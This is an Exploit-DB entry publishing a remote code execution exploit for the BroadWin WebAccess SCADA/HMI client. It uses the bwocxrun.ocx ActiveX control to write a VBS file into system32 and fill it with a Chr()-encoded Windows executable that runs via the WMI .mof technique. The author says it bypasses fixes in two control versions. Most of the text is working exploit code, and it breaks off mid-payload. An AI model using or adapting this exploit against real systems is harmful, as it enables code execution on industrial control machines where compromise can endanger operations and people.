Exploit-DB #18051
Description: BroadWin Webaccess SCADA/HMI Client - Remote Code Execution
Type: remote
Platform: windows
Date: 2011-10-31
Author: Snake

Exploit:
<html>
<b>BroadWin WebAccess SCADA/HMI Remote Code Execution Vulnerability [0day]</b><br><br>
WebAccess is the first fully web browser-based software package for<br>
human-machine interfaces (HMI), and supervisory control and data<br>
acquisition (SCADA). bwocxrun.ocx ActiveX component is prone to<br>
a remote code execution vulnerability by combination of some ActiveX<br>
methods to creating a arbitrary file in arbitrary location.<br>
the following exploit take advantage of windows WMI and .mof files<br>
to execute arbitrary code on the target machine.<br>
Note : this version bypass added check in v1.0.0.10 and v1.0.0.11 of<br>
bwocxrun.ocx, but you have to set the full path ( no global ). <br>
<br>
-Snake ( Shahriyar.j < at > gmail ) <br>
 twitter.com/ponez<br>
<br>
Ref : <br>
*http://broadwin.com/Client.htm<br>
*http://www.exploit-db.com/exploits/17772/<br>
*Metasploit Mof Generator<br>
<body>
<object id="target" classid="CLSID:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C"></object>
<script>
	// just for fun exploit
	// this script pop up calc.exe on the target machine.
	// tested on XP SP3 VM
    var lolo = 0;
	lolo = target.CreateFile("C://WINDOWS//system32\\$bemsexport.vbs");
	if ( lolo != 0 )
	{
		var vbsFile = [ 
			'Function OuKdaqPrZn()',
			'YXFUE=Chr(77)&Chr(90)&Chr(144)&Chr(0)&Chr(3)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(255)&Chr(255)&Chr(0)&Chr(0)&Chr(184)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(232)&Chr(0)&Chr(0)&Chr(0)&Chr(14)&Chr(31)&Chr(186)&Chr(14)&Chr(0)&Chr(180)&Chr(9)&Chr(205)&Chr(33)&Chr(184)&Chr(1)&Chr(76)&Chr(205)&Chr(33)&Chr(84)&Chr(104)&Chr(105)&Chr(115)&Chr(32)&Chr(112)&Chr(114)&Chr(111)&Chr(103)&Chr(114)&Chr(97)&Chr(109)&Chr(32)&Chr(99)&Chr(97)&Chr(110)&Chr(110)&Chr(111)&Chr(116)&Chr(32)&Chr(98)&Chr(101)',
			'YXFUE=YXFUE&Chr(32)&Chr(114)&Chr(117)&Chr(110)&Chr(32)&Chr(105)&Chr(110)&Chr(32)&Chr(68)&Chr(79)&Chr(83)&Chr(32)&Chr(109)&Chr(111)&Chr(100)&Chr(101)&Chr(46)&Chr(13)&Chr(13)&Chr(10)&Chr(36)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(147)&Chr(56)&Chr(240)&Chr(214)&Chr(215)&Chr(89)&Chr(158)&Chr(133)&Chr(215)&Chr(89)&Chr(158)&Chr(133)&Chr(215)&Chr(89)&Chr(158)&Chr(133)&Chr(172)&Chr(69)&Chr(146)&Chr(133)&Chr(211)&Chr(89)&Chr(158)&Chr(133)&Chr(84)&Chr(69)&Chr(144)&Chr(133)&Chr(222)&Chr(89)&Chr(158)&Chr(133)&Chr(184)&Chr(70)&Chr(148)&Chr(133)&Chr(220)&Chr(89)&Chr(158)&Chr(133)&Chr(184)&Chr(70)&Chr(154)&Chr(133)&Chr(212)&Chr(89)&Chr(158)&Chr(133)&Chr(215)&Chr(89)&Chr(159)&Chr(133)&Chr(30)&Chr(89)&Chr(158)&Chr(133)&Chr(84)&Chr(81)&Chr(195)&Chr(133)&Chr(223)&Chr(89)&Chr(158)&Chr(133)&Chr(131)&Chr(122)&Chr(174)&Chr(133)&Chr(255)&Chr(89)&Chr(158)&Chr(133)',
			'YXFUE=YXFUE&Chr(16)&Chr(95)&Chr(152)&Chr(133)&Chr(214)&Chr(89)&Chr(158)&Chr(133)&Chr(82)&Chr(105)&Chr(99)&Chr(104)&Chr(215)&Chr(89)&Chr(158)&Chr(133)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(80)&Chr(69)&Chr(0)&Chr(0)&Chr(76)&Chr(1)&Chr(4)&Chr(0)&Chr(43)&Chr(162)&Chr(175)&Chr(74)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(224)&Chr(0)&Chr(15)&Chr(1)&Chr(11)&Chr(1)&Chr(6)&Chr(0)&Chr(0)&Chr(176)&Chr(0)&Chr(0)&Chr(0)&Chr(160)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(177)&Chr(82)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)',
			'YXFUE=YXFUE&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(4)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(96)&Chr(1)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(2)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(108)&Chr(199)&Chr(0)&Chr(0)&Chr(120)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(80)&Chr(1)&Chr(0)&Chr(200)&Chr(7)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)',
			'YXFUE=YXFUE&Chr(224)&Chr(193)&Chr(0)&Chr(0)&Chr(28)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(224)&Chr(1)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(46)&Chr(116)&Chr(101)&Chr(120)&Chr(116)&Chr(0)&Chr(0)&Chr(0)&Chr(102)&Chr(169)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(176)&Chr(0)&Chr(0)',
			'YXFUE=YXFUE&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(32)&Chr(0)&Chr(0)&Chr(96)&Chr(46)&Chr(114)&Chr(100)&Chr(97)&Chr(116)&Chr(97)&Chr(0)&Chr(0)&Chr(230)&Chr(15)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(0)&Chr(16)&Chr(0)&Chr(0)&Chr(0)&Chr(192)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(64)&Chr(46)&Chr(100)&Chr(97)&Chr(116)&Chr(97)&Chr(0)&Chr(0)&Chr(0)&Chr(92)&Chr(112)&Chr(0)&Chr(0)&Chr(0)&Chr(208)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(0)&Chr(208)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(64)&Chr(0)&Chr(0)&Chr(192)',
			'YXFUE=YXFUE&Chr(46)&Chr(114)&Chr(115)&Chr(11